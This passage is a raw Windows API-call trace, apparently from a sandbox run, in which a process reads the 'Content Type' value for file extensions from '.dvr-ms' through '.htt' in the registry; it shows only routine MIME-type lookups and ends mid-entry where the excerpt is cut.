[0182.619] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.619] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".dvr-ms", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.620] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="video/x-ms-dvr", lpcbData=0xc0006b98fc*=0x1e) returned 0x0 [0182.620] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.620] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".ec3", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.620] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="audio/ec3", lpcbData=0xc0006b98fc*=0x14) returned 0x0 [0182.622] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.622] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".eip", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.622] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="image/EIP", lpcbData=0xc0006b98fc*=0x14) returned 0x0 [0182.623] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.623] VirtualAlloc (lpAddress=0xc000876000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000876000 [0182.623] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".emf", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.624] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="image/x-emf", lpcbData=0xc0006b98fc*=0x18) returned 0x0 [0182.624] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.624] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".eml", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.624] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.625] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.625] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".eps", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.625] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="application/postscript", lpcbData=0xc0006b98fc*=0x2e) returned 0x0 [0182.625] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.626] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".epub", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.626] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="application/epub+zip", lpcbData=0xc0006b98fc*=0x2a) returned 0x0 [0182.626] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.626] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".erf", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.626] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="image/ERF", lpcbData=0xc0006b98fc*=0x14) returned 0x0 [0182.627] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.627] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".etp", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.627] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.627] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.628] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".evt", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.628] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.628] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.628] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".evtx", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.629] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.629] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.629] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".exe", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.629] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="application/x-msdownload", lpcbData=0xc0006b98fc*=0x32) returned 0x0 [0182.629] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.630] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".exp", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.630] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.630] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.630] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".ext", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.631] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.631] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.632] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".ex_", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.632] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.633] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.633] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".eyb", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.633] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.633] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.633] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".faq", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.634] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.634] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.634] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".fbx", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.634] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.634] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.635] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".fdf", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.635] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="application/vnd.fdf", lpcbData=0xc0006b98fc*=0x28) returned 0x0 [0182.635] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.635] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".fff", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.636] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="image/FFF", lpcbData=0xc0006b98fc*=0x14) returned 0x0 [0182.636] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.636] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".fh", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.636] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.637] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.637] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".fif", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.637] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="application/fractals", lpcbData=0xc0006b98fc*=0x2a) returned 0x0 [0182.637] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.638] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".fky", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.638] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.638] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.638] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".flac", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.638] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="audio/x-flac", lpcbData=0xc0006b98fc*=0x1a) returned 0x0 [0182.639] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.639] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".fnd", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.639] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.640] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.640] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".fnt", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.640] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.640] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.640] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".fon", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.641] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.641] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.641] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".ghi", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.641] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.642] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.642] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".gif", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.642] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="image/gif", lpcbData=0xc0006b98fc*=0x14) returned 0x0 [0182.642] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.642] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".glb", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.642] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.643] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.643] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".gltf", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.643] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.643] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.643] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".gmmp", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.644] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.644] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.644] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".group", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.644] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="text/x-ms-group", lpcbData=0xc0006b98fc*=0x20) returned 0x0 [0182.645] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.645] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".grp", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.645] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.645] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.646] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".gz", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.646] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="application/x-gzip", lpcbData=0xc0006b98fc*=0x26) returned 0x0 [0182.646] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.647] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".h", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.647] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.647] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.647] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".hdp", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.648] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.648] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.648] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".heic", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.648] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.649] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.649] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".heics", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.649] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.650] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.650] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".heif", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.650] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.650] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.650] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".heifs", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.651] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.651] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.651] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".hhc", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.651] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.652] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.652] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".hlp", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.652] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.652] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.652] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".hpp", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.653] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.653] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.653] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".hqx", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.653] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="application/mac-binhex40", lpcbData=0xc0006b98fc*=0x32) returned 0x0 [0182.654] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.654] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".hta", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.654] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="application/hta", lpcbData=0xc0006b98fc*=0x20) returned 0x0 [0182.654] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.655] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".htc", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.655] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="text/x-component", lpcbData=0xc0006b98fc*=0x22) returned 0x0 [0182.655] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.655] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".htm", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.656] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="text/html", lpcbData=0xc0006b98fc*=0x14) returned 0x0 [0182.656] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.656] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".html", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.656] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="text/html", lpcbData=0xc0006b98fc*=0x14) returned 0x0 [0182.657] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.657] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".htt", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.657] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, 